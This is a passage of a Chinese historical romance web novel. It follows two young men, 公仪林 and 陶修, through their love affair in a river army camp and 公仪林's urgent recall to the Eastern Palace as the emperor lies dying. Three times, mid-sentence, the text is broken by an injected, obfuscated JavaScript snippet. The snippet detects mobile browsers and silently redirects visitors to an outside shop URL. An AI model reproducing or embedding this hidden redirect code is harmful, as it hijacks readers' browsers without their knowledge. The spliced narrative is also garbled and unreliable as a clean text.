两个少年小心翼翼不敢肆意,生疏稚嫩的手无处安放,但唇部的灼热流遍全身,四肢酥麻,像踩在缥缈的云端。公仪林用舌头轻轻抵开陶修的牙齿,两人那再也无法抑制的欲望终于打开闸门,奔涌而出。他们褪去身上有皂角清香的单衣,肆无忌惮地亲吻,压抑着喉间的喘息。 公仪林近乎耳语的声音试问被他牢牢扣在身下的人:“你有过女人吗?”他看见陶修轻轻摆首,忙表态自己冰清玉洁的身体:“我也没有。” 公仪林像只刚成长起来的威风凛凛的狼,追的陶修无处可躲。一直被动的陶修在他令人窒息的亲吻中终于挣脱右臂,深吸一口气,他顿了一瞬,一把勾住公仪林贴近的脸,唇与齿交融碰撞,感受对方霸道热忱的气息。他们不够细腻的吻磕的身上有点疼,温暖的掌心很青涩,在身上磕磕绊绊抚摸、感受,但都甘之如饴。 屋檐的雨滴噼啪打在窗牗上,消减去屋内刻意压制的声息。 “康乐——”公仪林趴在他耳边低吟,十指交缠,经此一夜,他想,这世上再没有任何人任何事能阻碍他和陶修在一起,因为身为两人之间最大阻碍的陶修已在今夜溃不成军,此人的声音、身体和他的感情今后都将属于他一人。 “槐序,你——” 他听懂这是陶修失神时的一声叫唤,这声叹息像漂浮在虚无缥缈情海中的羽毛,上下翻飞,令他浑身发颤。 公仪林抚摸陶修汗湿的碎发,把脸埋在他颈间痴痴笑了很久。 “你很开心?” “嗯,得偿所愿。不,是满足。自我去了京城开始,心中总有一处空的,即便你就在我跟前我也觉得它是空的,直到此时,我才知道我要的是什么,我要你与我心意相合,要你也把我放在首位,我要你喜欢我比我喜欢你还要多。” “真是自私的公子。”陶修的声音很低,有点不安,侧过头不愿看他。 “正因为我清楚自己对你的心意,才敢如此要求你也能做到,否则我不踏实,怕你逃走。” 不知几时,夜雨骤歇,营中重新燃起的火盆把屋内陈设照得轮廓清晰。公仪林支撑手臂凝视陶修的面容时,赫然发现他眼角的泪痕,微微反光,这个在逆境中、在刀剑下都不曾流泪的人刚才哭过,公仪林悚然惊惧,小声问:“康乐,你为何哭?” “我没哭。” 公仪林扶正他的脸与其直视,“你要坚定的信任我,我视你如命,望你也能如此待我。” “我让自己陷入没有将来的泥淖中,今夜的事,是我自甘堕落……” “若不是我们彼此爱慕,这油然而生的情难自禁又从何而来?你接受了我,就好好接受今夜的你自己,你没有错,我也没有错,不要苛责自己。” 公仪林擦掉泪迹,轻轻吻上陶修的眼角,从后背揽住他的腰往怀里带了一下,隔了一会突然笑问:“如果哪天你成了世子成了一国之君,会不会觉得我配不上你?” “这话说的毫无意义。”陶修挣脱出他的臂膀,扯了被子盖到身上,双臂放在被外,躺的有种安详的感觉。 公仪林继续问他:“天亮后,你会不会躲我?” “不会。” “讨厌我吗?” “不讨厌” “能不能把我放在第一位?” “别贪得无厌。” “慢慢来,我不着急,但你不把我放在第一位我决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884367|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不罢休。”他把陶修的手抓在手中,又问一声:“会不会很难受?” “雨停了。”陶修冲着窗外喃喃道一句。 第二日清晨醒来,公仪林在身边摸了一个空,心里一沉,掀起被子就往外跑。司子听见动静从安桂的屋里走出来问:“公子,饭都在炉子上热好了,你洗洗就来用饭吧。” “康乐呢?” 安桂从隔壁探出半个身子说:“下了一夜雨到处稀烂,他们今日不必操训,陶修说去了江边。” 公仪林失魂落魄,回屋胡乱穿上衣裳就往江边跑。 雨后空气清新湿冷,但东边金色的日光穿过树枝射出万道光芒,天空高而蓝,是个明媚的一天。他以为陶修会因昨夜的事懊悔自责,怕他连睬都不愿睬他,都想好了安慰的话,没想到是陶修先喊的他:“槐序,过来。” 陶修立在一条楼船上向他招手,身边站了两个人,一个是张城,另外一个是粗汉。公仪林四下找登船的登板,只见陶修指着晃荡翻涌的江水说:“跳下去,我拉你上来。” 这登船的方式实在荒谬,但陶修不像是会开玩笑的人,或许在为昨夜的事生气,公仪林没有任何犹豫,脱下大氅就要往江里跳,船上传来粗汉的笑声:“傻小子,是第一次看见船吗?” 陶修板着脸从船上走下来,劈头盖脸骂道:“你是不是真蠢?真敢往水里跳?” “跳进去怎么了?你再救我一回。” 陶修领他从另外一条船登上去,又走过两船相连的搭板才回到刚才的位置。陶修指着壮汉介绍道:“这是汝丘的周石,那年得了三斤肉的龙舟划手。” 两人拱手见礼,还提起当年划龙舟的细节。公仪林又转头对张城笑道:“你吃过的碗留着,一会回去我给你刷。” 张城笑得很艰涩、难堪、勉强,“早知道公仪公子的身份借我三个胆也不敢赢你啊。” “无妨,碗我会刷的。” 江面风大,不管是宽大的衣袍还是行动方便的短褐都被大风吹的向后扬起,公仪林和周石说完话到处找陶修身影,见他在整理一团粗绳。江风把陶修的身姿勾勒出劲松一样板正气质,碎发朝一边歪去,紧紧趴在额头,模样有些稚气。公仪林想到昨夜彻底占有彼此身体的情景,不禁有暖流从心口流向周身。他走过去又开始坏事,把陶修理了半天的绳子重新堆到一起,还热心地说:“我来帮你。” “别倒帮忙,我是要理开来晒着。” “我能做点什么?” “找个地方坐着吧,再收拾收拾带你去吃饭。” 昨夜的大雨迅疾,船上许多东西没及时收起,若不展开晾晒恐影响使用寿命,腕粗的绳子、渔网、帆、旗子一类都被摊开在船板上晾着。公仪林混在这帮人中付出一样的体力,得到相似的表彰——浑身污泥。众人都知道他身份,且又如此亲和,便把他拥簇在中间说话谈笑,他甚至找不到和陶修说话的机会,只能从人群中偶尔瞥去一眼。 忙完几条船的事后大家伙收队,疯狂向伙房涌去。陶修驻足等了公仪林几步,让边上的周石先去把饭打了。 “等会趴缸边照照,看看你现在的模样。” “我以为你不想睬我,方才在人群唤你几次,为何不过来?” “他们对你身份好奇都想与你亲近,我再凑过去多没劲。” “伙房的东西清汤寡水,你想吃点什么,我悄悄的让司子出去买。” “再忍耐几日,等你回了家中再吃,此处是军营。” 75.别逃避别自欺 公仪林在船上使了一早上的劲早饿的浑身发懒,别说食物粗糙,连碗险些一起嚼了。这来的第四天,他才有机会把掰腕赌输时承诺的事付诸行动,周石凑热闹把两个碗也丢过来。 张城一边推却不让他刷,一边笑问:“我能把你帮我洗碗一事讲出去吗?” “随便,反正我的笑料无数,不在乎这一个。”刷碗的地方是用马石槽改装的,里面的水浑浊还漂一层油花,众人和他一样,把饭吃得一点不剩,大大减轻洗碗的工作量。 午后,七八个人齐齐躺在大船的甲板上吹着大风晒着暖和的太阳,他们说起八九年前吴大将军北伐成功的荣耀,说起故乡的玩伴,说起青梅竹马的女子,还有将来能归家的日期。公仪林躺在最外侧,右边是闭目静听众人谈天的陶修。他的手在甲板上摸索,食指和中指像两条疾走的腿,突然“走”到陶修手边,一下子勾住他的小指。 陶修欲抽手反被他紧紧握住,两人暗中较劲斗了半天,直到张城翘起身子朝这边问话:“陶修,到时候敢不敢往前冲?” “什么?冲什么?” “你睡着了?和我一起打回沭阳郡去如何?” 陶修记得张城是北方逃亡过来的流民,家中人口全部死于周灭齐战乱中。八九年前他随北方大批流民渡江来到江南,在各条街市的路口要过饭,品尝过成千上万家施舍的残渣剩饭,就在他熬不住想出家当和尚时,江矶营征兵的榜刚好贴在他睡觉时用来遮阴的那面墙上,从此结束了辛南佐梦寐以求的生活。 他在营中沉默寡言,逮到东西就吃,勤苦习武之余就是努力的长个头,有时候陶修盯着他那像是没受过委屈的高个头会暗想:如果他没要过饭,会不会比现在还高。 陶修毫不犹豫答复他:“必然要打回去,一身的本领就是为了等到那一日,夺回淮南。”落音后还补一句:“攻入沭阳郡。” “是我的好兄弟。”这句话张城爱听,但是朝代的不断更迭,他现在有些迷糊,不知道杀自己家人的究竟是什么人,找谁去报仇。让沭阳郡两日间就血流成河烧成火海的是周人,还没等他把钢牙咬碎,沭阳郡转眼成了周国疆域。哪天他朝周人挥下大刀时,他们求饶呐喊:“我原来就是齐国的人啊!”那时,又该如何抉择。 周石晒得快睡着了,瓮声抱怨道:“也不知这种日子何时是个头,有家回不去,在此除了种地就只能等着,还不知等什么?” 公仪林道:“养兵千日用兵一时。兵营保证足够的人员才能防患未然万无一失。纲纪败坏人人思变,相侵相杀战乱不休,我们能做的就是在营中居安思危,听命朝廷听命大将军。” 只听右侧的陶修笑了一声,公仪林转首问:“我说的不对?” “你的口气有点官样。” 躺下四肢最长的潘猛还是那么瘦高,他说话声音又慢又钝,很不聪明的模样,趁着今日众人都闲着才和窦冰跑来找陶修谈天,听到他们说起打仗的事,很郑重地恳求陶修说:“哪天真要打仗,我能不能跟在你后面?” 这个潘猛空有其名,胆小怕事,行动又笨拙,要不是窦冰时常护着,众人最爱拿他逗乐。陶修温和地安抚他:“你我是两个营寨的,在疆场上连面都见不着。你个头高很显眼,平日多付出些精力锻炼体魄,把劣势变成优势,得闲时就来找我切磋,打仗只能靠自己。” “我愚笨,如何练都没你们灵活。” 窦冰烦躁地斥他:“你的身高就是优势,拿起长枪就是刺,挑刺敌人就跟挑只猫一样容易,先把力气练上来。” “嗯,说的是。” 这些人说着话,不觉日头已偏移向西,金色的光开始平铺千里江面。他们把船上的东西收整干净堆回船舱,因精力太过旺盛,这些人忙碌说笑中时不时会伸手踢腿刀别人一把。公仪林数着了,企图刀陶修的人有三个,都被他敏捷地挡回去,后来三人齐上,把陶修按在船板上揉搡半天,都滚笑成一团。 公仪林倚在船壁看他们皮闹,也品味陶修少见的开心的一面。不知为何,他心里有些醋味,觉得此人从没把真实的模样在他面前表露过。 不过,夕阳的一半已坠落江面,暮色四拢,想到夜晚能独占陶修的一切,那么一切就都好说。 夜色渐深,公仪林浑身躁动静燃,可能从清晨就盼着这一刻,这一日是他迄今为止渡过的最漫长的一日。雨声中一声声湿腻的情/欲的低吟,黑暗中拥抱在一起赤/裸的身体,仅一次怎能轻易就餍足,他盼着黑夜尽快来。他化身凶兽,谨伏于地,将对懵懂无防备的猎物出击。 但那只猎物也是甘愿的。 夜空星辰璀璨,那轮下弦月清亮柔和,和三月的夜风一样令人沉醉。公仪林轻轻抚上陶修左肩的伤疤,沿着肩颈的线条缓缓向上抚摸,最后捧着他的脸说:“这里的人都很质朴,我不强求你跟我走,但是你要护好性命。” 陶修撇开目光默不作声。 四面墙壁把他们隔绝在这狭小隐秘的空间里,同样圈出仅属于他们的乐园。轻柔的吻在陶修身上落下,他作出躲避的动作,望着半掩的窗户,浅金色的月正悬在中间,突然问:“槐序,你会不会看不起我?” 公仪林用力抱住他,紧贴在他耳边说:“以后不要说这种话。从小到大,从今往后,你永远是我仰慕的人,绝不会变。” 缠绵和霸道并存,两人汗湿了鬓角碎发,浑身虚脱,像打了场恢宏且原始的仗。 * * * 公仪林在营中轻松又渡过两日,心甘情愿替张城、周石刷碗,也任他们拿此事去熟人跟前吹嘘,完全融入这批将士当中,就在他还没开始为五日后的离开伤神时,一封信函从建康快马加鞭送来。 他来军营的第六日,那个午后,他蹲在马槽边刷碗,对张城扬言说:“这是最后一次刷碗了,下回掰腕我绝不会输你。” “行啊,下回我还想试试二公子的武艺。” 陶修听到这个提议忍不住笑起来。 张城问:“你笑我胜不了他?” 陶修调整好表情正色道:“单打独斗你胜不了槐序,他很厉害。” 公仪林意味深长地盯着陶修,点头赞同:“嗯,我确实厉害。” 这时,公仪林的贴身侍卫阿八突然跑来,语气急促:“公子,卢大将军有急事催您过去。” 众人脸色有变,想听听发生了何事。 公仪林也是一惊,从马槽边站起身洗了手,走到陶修跟前说:“我去一趟,你在此等我。”转头问阿八:“卢将军在哪?” “就在营中,海定楼上。” 海定楼是江矶营的最高建筑,能放眼远眺大江之上,若遇军情大事,卢思苌就在此楼召集各营大将、先锋等商讨军机要事。他同时身兼南徐州刺史,若非要事很少来营中。 公仪林快步走向海定楼,又问身旁的阿八:“大将军没说因何事见我?” 阿八悄声道:“可能是京师来人了,我看见卢将军跟前有三位身着公服的使者。” 定海楼包括放哨的城楼共四层,公仪林跟着带路的士兵上了二楼。二楼宽敞通亮,除了十来张胡凳外,中间长桌上是军事沙盘,卢思苌立于桌边望着隔断南北的大江出神,听见脚步声他立即转首,不等公仪林开口就让使者递上信件。 公仪林一上楼就认出东宫使者的灰色公服,心下一沉。他走到窗边拆开信件,其内容仅有“速归”二字,看落款竟是右卫率陆颢的名字。 他折叠起信往怀中一塞,才想起未给卢思苌行礼,忙露笑走到沙盘桌旁:“林见过大将军。这几日在营中能与挚友相聚,很感激将军开的方便之门。” 卢思苌不便问信中内容,见他不提,也没把此加急信件放在心上,客气几句,开了句很严肃的玩笑:“这几日你在营中与他们同吃同睡,我给你安排的食宿也拒绝了,回去可别对你大伯说卢某没招待好啊,明日我设宴于府中,你和陶修一起来吧。” “将军太客气了,将军军纪严明令行禁止,林这几日生怕扰乱军中的规定,再谢将军给我的特例。我已在此待了六日,正欲今日动身回程,打算去卢伯父府上拜过,您就先来了。” “这就要走?”卢思苌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897649|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猜测信中必然有大事。 “是,稍后就动身回去了。”他有意在卢思苌跟前提起陶修,就问:“将军知道我来看望的挚友叫陶修?” “我知道他,上次火烧熊威营他立了大功,那次仅活下来六人,我也许还能记得他们所有人的名字。” 公仪林不禁腹诽:“看来你营中提拔军职的要求不低啊,建立大功、丢了半条命都没换来一官半职。” 公仪林辞别卢思苌后匆匆离开海定楼,让阿八立刻去备好车马收拾行囊,他则往伙房跑去。陶修果然还在马槽旁的石头上等着。 见他跑来,陶修立即起身问发生了何事。 公仪林神情不舍,犹豫一瞬才开口说:“康乐,我现在就要回去了。” 他看见陶修眼中转瞬即逝的震惊,又顶着那张平静的脸问:“发生了何事?” 他掏出仅写了两字的信:“陆颢的信,东宫一定有他应付不来的事发生。” “这就走?车马都让人准备了吧?我送你出营。”陶修想到他的东西都还在庵庐,转身朝那个方向走去,就是脚步如何都走不快。 公仪林落下他仅一步的距离,步伐亦很沉重,两人一路无话。 并没有几件行囊,他们走回庵庐时司子早已打包好等着了:“公子,我们是不是现在就走?我早就想回去了,阿八他们打呼噜声太大,夏雷一样,这几夜都逼我坐起来赏月咧。” 从庵庐到大营大门的距离并不远,二人走的极慢仍轻易就看见等在门口的车马和司子招呼他们快走的身影。 “康乐,我的宅院还没有名字,不如你现在帮我取一个,我回去就命人做好门匾挂上去?” 陶修淡然一笑:“我胸无一点文墨,别糟蹋了好院子,你再考虑吧。” “我得了空闲再来看你,你要有心,也去看看我,能不能?” “你也看见了,营中事忙,恐不能抽身。” “这回来都没能去看看北固山,下次你带我去,你觉得何时登山最适宜?” “再说吧,我不喜欢计划没有可能的事。” 见他一直在逃避见面的机会,公仪林不甘,继续问:“盛夏酷暑时,我再来邀你一同回汝丘,那时你家院中的绒花树都开满枝头,你肯定也思念故土了。”他努力地笑着,脸上都是灿烂明朗的笑意,等着陶修肯定的答复。 陶修把目光投向天蓝云白的苍穹,轻声回道:“暂时不回去了,玉河村与我而言不全是好的回忆。” 他明白陶修在拒绝,也清楚知道他这两日放纵自己后一定会幡然醒悟。他这样心思谨慎的人同意跟自己上床,如果不是爱和情谊的原因,大概也有他身体的需求,一旦他意识到此种行为的可耻,拒绝就是意料之中的事,他还是没接受自己的行为。 公仪林见他冷静的有些无情,怒火和不甘齐头并进,突然把他逼到一面泥墙上,按住他的胸口,咄咄逼人地问:“那两夜,你为什么会同意与我上床?现在我要走了又不停地拒绝?你要让我疯吗?” 青天白日下,他的话如火焰灼面,离他们最近的人都在很远的位置忙碌着,并未发现他们的争执。抵在陶修身后的墙体很矮,茅檐也矮,他打开公仪林的手后从低矮的屋檐下站直身体,草、泥混合的檐边从他头上掠过,留下一片草灰。陶修拍掉头发上的尘土快步走向大门。 马匹昂首嘶鸣,喷出粗重的鼻息,随时扬蹄狂奔。公仪林木然地翻身上马愣怔片刻,牵着马走到陶修跟前俯下身低声说:“康乐,你有足够的时间去思考,到底为何会和我上床,别逃避别欺骗自己,你我心中都有明镜。”他嘴角弯出弧度,笑意勉强,眼神忧愁,很像在安慰他自己。 那场大雨后的路还有点潮湿,七八匹马都扬不起尘土,陶修可以看着他们走下很远,直到他夺目鲜红的披风消失在尽头。 陶修在大门口伫立许久,这段关系并没令他沉迷,他清楚明白两人没有将来,若是强行把公仪林留在身边,恐怕将来会得到数不尽的耻辱和唾弃,那两夜权当是渴求欲望、渴求身体的两人互相的慰藉,各取所需。 76.这屁是谁放的 公仪林和侍卫马不停蹄往回赶,在第二日傍晚赶回京城,连家门都不敢入就直奔东宫。 下马时见守卫大殿大门的两班侍卫秩序如常,才松口气走进大院,迎面走来学士杨润。杨润是江南有名的儒者,自幼聪明绝顶,博览群书,擅诗赋,五年前他先做了太子侍读,后又升为东宫学士,他与太傅柳敬之等人殚精竭虑辅佐太子,望其能成为耳目清明,有德有才的储君。 公仪林见了杨润后忙问太子在何处、这几日宫中是否有事发生。杨润拉他至一棵柳树下才悄声说:“太子此时正在皇宫。圣上病重,就在这几日,豫章王、建安王已侍奉在侧寸步不离,这个节骨眼上必定要谨小慎微,我虽让陆颢时刻跟在太子身边,但进宫后解下兵器、他又是个实心眼的,意图不轨的人很容易就把他调离太子身边,只能急催你回来。” “圣上的病情已到什么程度?” “连续昏迷三日,昨日悠悠转醒,口齿含混、精神萎靡,床前的子女一个都认不出。” “我现在就进宫去。” 杨润趴在他耳边低声嘱咐:“提防豫章王。”说毕他步履匆匆出了宫,正是一国将要更换君王时,这杨学士也比往常更忙些。 公仪林又打马直奔宫城。东堂的大门外有两支各十人的禁卫来回巡逻,此时天色已晚,除了偶尔从寝宫出来的几个小内侍,东堂显得异常空旷安静。 他不敢贸然进入寝殿,就在门外向内侍打听太子的情况。这时,武平公主从内走出来,一眼看见了他。 公仪林行礼后垂臂站在一旁,听见公主温和地问:“小将军这是从哪里归来,满脸污垢、衣冠不齐的?” 他这才注意到赶了一天多的路程衣裳都没来不及换,形容一定邋遢,对公主欠身道:“臣这几日去了外地,刚听到圣上病重就往回赶,行程匆忙,一身狼狈让公主见笑了。” “你也是忧心我父王身体。是不是要见太子哥哥?” 他抬眼朝公主看了一眼,往日神采飞扬的双目哭的有点红肿,精神憔悴,说话的声音也有些暗哑。 “陆颢等人都在外隔间等着,你也进去吧。” “多谢公主。” 公仪林慢慢走进寝宫最外间,竹席上坐着几位大人和各位殿下的亲信。他先看见靠门边的薛际,坐姿板正,不苟言笑,与他相对坐着的是同他一样气质的陆颢,都面无表情。再往里的几位大人有尚书左仆射周燃、国子监祭酒周常新、太常王皎及其几位属官太医、太祝等人。 此时寝宫极安静,不是开口说话的时候,公仪林对几位大人施礼后悄悄在陆颢左边折腿坐下,压低声音问:“殿下在里面?来了多久?” 陆颢脸上也有疲态,说话时拿手捂住空了一天的肚子:“清晨就过来了,太子在里面一直没有出来。” “你在此坐了一天?回去吧,余下的事交给我。” 陆颢把他浑身打量一遍,笼冠歪斜、头发凌乱,脸上几处灰土,便问:“你回来路上也跟人打架了?” 对面的薛际突然发出一声嗤笑,像啃木头的耗子,旁人朝他看过去时立即正色稳坐。 “我路上赶的太急,弯都没转就来了。” “跟我也差不多,天黑后我们一起回去吃个饭。圣上今日醒了两次,肺部似有积液,只能半躺在床上,咳嗽时,我在此处不忍细听。” 公仪林朝三层屏风遮挡的最里间伸头看去,“我想进去看看圣上。” “王大人都在此等消息,你不宣而进,小心他们给你加个罪名。”陆颢用眼神示意他注意身边的人,都是几个王爷的智囊亲信。 天色渐渐暗下来,这间屋子依旧寂然无声,个个神情凝重不发一言。就在这时,不知谁突然放了一个响屁,可能憋的太用劲,听声音有些绵延悠长。包括王皎和周燃这些德高望重的大臣在内,统统抖着肩膀咬嘴憋笑,鼻腔发出细小鬼祟的声音。正好有两名内侍进来点油灯才缓解尴尬局面。 周燃、王皎见时辰不早,两人一起走进圣上寝阁又探视一次后就走了,随后走的还有太祝等人。 两位老顽固一走,屋里剩下的七八个人终于敢正常喘息。突然有人痴痴笑了两声,四下环顾,捋着那搓稀溜溜的胡子问:“一屁之后,其乐融融,是哪位兄台将我们从老太常的严威下拯救出来的?” 自然无人承认。 公仪林见此人是建安王府的功曹田敬,年纪约四十岁左右,虽身着墨色襦衣,身姿委婉,但那双细长的眼睛透出精明,浑身干练利落,他坐在方才周燃的右边,视线可把屋内所有人的位置尽收眼中。只见他指着公仪林和陆颢的方向笑问:“是你们三位?”其中包括陆颢对面的薛际。 陆颢沉声回答:“不是我。” 田敬用两指把胡子捋的油光滑亮,笑意可亲,继续问:“那是你们二位?” 公仪林对此无聊的玩笑不予理睬,哪知薛际急于自证亲白,跟陆颢一样的话:“不是我。” 几双看热闹的眼睛立即转移到公仪林身上,这回是不解释也不行,还未开口,薛际压着笑替他辩解:“公仪小将军风尘仆仆赶回来腹中空空,出虚恭也正常。” 看热闹的虽不敢高声笑,但此刻无疑就是今日最有趣的时刻。 公仪林忍下薛际的挑衅,也跟着笑起来,指着他说:“我往日不爱应仲山兄的邀请就是这个缘故,你这人一向喜欢把自己出虚恭的事诬赖在别人头上,方才明明从你股下炸开,为何赖在我头上,不愿承认自己身份就罢了,连放屁都不敢认?” 在座的都知道这二人不和,怕他们争执起来,尴尬地劝解道:“谁放的都无所谓,众人都有份,玩笑,玩笑,别伤了和气。” 薛际放在腿上拢在袖中的两只手紧攥一起,霎时脸上冷若冰霜,心有不甘地暗忖:“若太子顺利即位,朝中官员迁调,不出三五年此人必能成为禁卫军的统帅,如此年纪就堪上大任,真……”真令人不甘呐! 将近戌时,陈明俨终于从皇帝寝宫出来,面上愁云笼罩,上了车辇后在摇晃颠簸的车中很快就睡了。 公仪林和陆颢将太子安全送回宫殿,安排妥当防卫一事,急匆匆跑到后厨找吃的。从热气腾腾的笼屉中找到一些馒头、肉、鱼一类的吃食。 公仪林随口问窝在干柴堆上打盹的庖人:“有藕吗,炒的脆脆的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913724|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>庖人四五十岁,上了年纪,困的直揉眼睛:“没有现成的,要不我现在给大人炒一个?” “不用,你睡吧。” 两人饿了一天,庖人给他们放桌边的一小瓶酒都没动弹,对着馒头和肉狼吞虎咽。陆颢嚼着肉口齿不清地说:“这几日我日日如此,一天才吃一顿,又困又累。” “宫中的太医怎么说,圣上这回还能撑多久?” 陆颢伸出一个巴掌。 公仪林瞄了眼庖人,压低声音问:“豫章王那边有无动静?他去年从东扬州回来就没回过封地,圣上留他在身边陪伴的次数远多余殿下,这关键时刻最易生变。” “杨学士也是一样的话。五日前有人看见蒋授到豫章王府赴宴,深夜方回,除此之外,一切都还风平浪静。” “蒋授?” 这个蒋授是禁卫军统帅,圣上最亲信的人,手中有三千人马的调动权,豫章王此时与他秘密相见,意图显而易见。 “蒋授表面上刚正不阿赤胆忠心,今年刚过五十,精力正旺,若是豫章王向他承诺我们殿下不能给的东西,难免不会向他靠近。” 公仪林撕着馒头往碗里丢,目光却盯着陆颢的碗,直直的。 “你在想什么?” 公仪林收回神思,小声道:“我手中仅有东宫的五百护卫,真到龙驭宾天那日,就看这五百人能用在哪处。明日起我护殿下进宫,你留在府中多和兄弟们热络热络,明白吗?” 陆颢点头:“太子登基名正言顺,几位王爷兄友弟恭,也未必事事都如前朝那般血腥。” “这样自然最好。” “你老望着我的碗作甚,是不是要吃?这几日你都去了哪里闲游了?” 公仪林咧嘴笑笑:“可能饿的恍惚了。今夜你再劳累一晚,容我回府收拾收拾仪表,方才殿下从宫中出来一眼看见我,他都嫌弃地撇嘴了。” “你尽管去吧,夜间我精神着呢。” 出了东宫已过子时,夜凉如水,星辰稀疏,公仪林骑马先是路过兴业寺,伸耳听浮图塔上清脆到有些寒意的铃声,万籁俱寂,爱念经的和尚都睡了,公仪林裹紧披风很快回到自己的宅院,他抬头盯着还没有匾额的门楣,出了片刻的神才敲开大门。 院子空旷,厅中几盏昏黄的灯火尤为惨淡,司子趴在厅中的坐席上已睡过一觉,他打着哈欠问:“公子要吃些什么?” “我吃过了,准备些浴汤,我洗洗就好。” 在司子准备浴汤时,公仪林望着外面漆黑宁静的大院问:“你觉不觉得府中太冷清了?” 司子睡糊涂了,脱口而出自己的想法:“公子早到娶妻年纪,如果有了少夫人,这会回来迎接你的肯定是嘘寒问暖和蜜语甜言,绝不是我们一帮坚硬如石的男人,那时候再生个小公子、小小姐抱着你的腿喊爹,哪会有现在的冷清!”司子的话也不全是睡懵的话,公子喜欢陶修和他将来娶妻生子那是完全不相干的两件事。 “明日,你去买几个性子活泼热闹些的丫头,让她们在院中养养花草,逗逗猫儿,做些精细活,你别给她们气受。” 司子忙不迭答应,庆幸公子开了窍。 77.暴雨前的喧嚣 接下来的两日一切如常,除去太子在圣上床前侍奉的时段,公仪林寸步不离跟在他身边。 这两日在外隔间候着圣上消息的人是一帮不熟的、各自为营的或是交往密切的人,他们中有的横眉冷对有的亲密无间,气氛常如天气般变幻莫测。 公仪林坐在这群人中不常开口说话,最大的乐趣就是盯着薛际,薛际去出恭他也跟着去,薛际喝水他也跟着喝,被盯的急眼,薛际忍不住破口大骂:“别跟着我,我不好那口。” 公仪林冷笑一声心道:都做了一样的事,谁还比谁清高了。反唇相讥怼他:“是吗,李颂没少邀你去玩,我听人说你在床上玩的很花,乐到巅峰时大喊‘痛快’,险些把李颂的小仆掐出人命,难道没有这事?” “你,你口无遮拦——”薛际羞的面红耳赤,气得暴跳如雷,他确实跟在李颂身后玩过一些别人不常玩的,但完全不是公仪小子诌的这样,这种事无力辩驳,只会越描越黑:“我没有,你扯谎——” “别恼,这段时间我对仲山兄挺有兴趣,在我眼前老实待着,别给我抓住尾巴。” 这一日天黑后,外隔间的人渐渐离去,仅剩下薛际在内四五个人,内侍走进来换了一回蜡烛,歪斜的灯芯浸在一汪蜡油里,火苗一跳一闪,闪的人眼花缭乱,公仪林正盯着灯芯出神,忽听寝阁内高呼声传来:“快来人,太子殿下身体不适,快扶回去休息。” 公仪林腾身就起,几步跨进寝阁,见身体微胖的太子正倒在铺了软褥的席子上,嘴里呻吟着头疼。公仪达和周燃一左一右将之扶起,太子撑着双臂仍旧在软褥上坐稳,有气无力道:“无事,无事。” 公仪林屈膝撑地问:“殿下,天已黑了,是否摆驾回宫,您连日寝食不安,也需注意身体。” 有宫女在侧轻拍其背,陈明俨气息顺畅许多,望着床上昏迷中的父亲,两行清泪从面颊滑下,叹息道:“父王已四日不沾米水,我这做儿子的所受的罪和父王的病痛相比又算得了什么呢,我情愿替父王承受所有病痛。我再守会!” 众人见太子这几日确实消瘦许多,又听他质朴的愿望,纷纷拿袖子拭泪。 公仪林趁此间隙得以窥见圣上的面容。他半靠在被褥上,胸口有饮水的呼噜声,微张的嘴发出沉重艰涩的呼吸,他面容苍老枯黄,双颊上有一层生命将止时才有的柔软的光泽,枯槁的双手露在外面,松皱的皮肤上青筋凸起。 公仪林看着奄奄一息的一国之君,曾经威名赫赫差点夺回淮北再现大陈高光的帝王,他的手苍老无力,无法再挽弓搭箭,他的生命日薄西山,不能在太极殿指点江山,他的宏图大愿在一声声残喘中渐渐落幕,往日的荣耀和豪情壮志在病痛面前如此不堪一击。 不知他清醒的片刻会想些什么。 公仪林退出寝阁,回到外隔间继续等候。 对比前几夜回东宫的时间,今日推迟半个多时辰,因为期间圣上醒过一次,他听说太子因守在床边尽孝而晕倒,大为感动,用浑浊不清的喉咙喊了太子的乳名。而太子听到这声只在幼时才听过的乳名后更为触动,在床前多待了半个时辰。 太子回东宫的仪仗从简,包括公仪林在内共十五人。从太极殿至东宫的距离并不远,但要走过北边的广真门,经过一条长长的道路后到达延熹门,才能看见东宫大门。这条长道会有禁军定时巡逻,十分安全。 今夜天气阴沉,星辰不明,路前方雾气萦绕,一阵清风乍起,有海棠花的香味从鼻下抚过,挑着灯笼的侍卫在车前小心开路,指使马车绕开一处处不平的凹坑。公仪林骑马跟在后方,他拽缰绳的手有些潮湿,不知何故,今夜的气氛有些古怪。 前面走在雾气中的两盏灯笼看起来像夜游的鬼魅,就在他打算再点上两盏灯笼时,突然有只玄猫从他身后迅速蹿过。 